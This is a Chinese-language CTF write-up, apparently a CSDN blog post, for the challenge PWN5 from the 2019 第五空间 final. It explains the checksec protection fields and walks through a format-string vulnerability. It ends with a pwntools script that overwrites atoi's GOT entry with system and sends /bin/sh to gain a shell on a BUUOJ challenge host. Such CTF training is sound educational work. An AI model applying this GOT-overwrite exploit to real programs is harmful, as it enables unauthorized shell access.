[第五空间2019 决赛]PWN5,checksec

1 篇文章 0 订阅

主要以PWN5这题讲一下关于checksec的一些用法

题目

首先介绍一下checksec

直接使用checksec pwn解析
在这里插入图片描述
Arch:用来判断是拖进64位IDA还是32位

RELRO:此项技术主要针对 GOT 改写的攻击方式。它分为两种,Partial RELRO 和 Full RELRO。
Partial RELRO 易受到攻击,例如攻击者可以atoi.got为system.plt,进而输入/bin/sh\x00获得shell
Full RELRO 使整个 GOT 只读,从而无法被覆盖,但这样会大大增加程序的启动时间,因为程序在启动之前需要解析所有的符号。

Stack:栈溢出保护是一种缓冲区溢出攻击缓解手段

NX:NX enabled开启就是意味着栈中数据没有执行权限,如此一来, 当攻击者在堆栈上部署自己的 shellcode 并触发时, 只会直接造成程序的崩溃,但是可以利用rop这种方法绕过

PIE:这个是地址空间分布随机化

解析

使用IDA32编译
在这里插入图片描述
结合checksec可知格式化字符串漏洞
在这里插入图片描述
直接gdb pwn
下断点,执行输入变量name
在这里插入图片描述
步入并查看寄存器的值使用ni

看栈
在这里插入图片描述
查看格式化字符串偏移 fmtarg
在这里插入图片描述

直接编写脚本

from pwn import *
# p = process('./pwn')
p = remote('node4.buuoj.cn',27035)
elf = ELF('./pwn')

atoi_got = elf.got['atoi']
system_plt = elf.plt['system']

payload=fmtstr_payload(10,{atoi_got:system_plt}) //转移函数
p.sendline(payload)
p.sendline(b'/bin/sh\x00')

p.interactive()

在这里插入图片描述
在这里插入图片描述

OK,纸上得来终觉浅,绝知此事要躬行!!!

参考链接https://www.cnblogs.com/murkuo/p/16322688.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值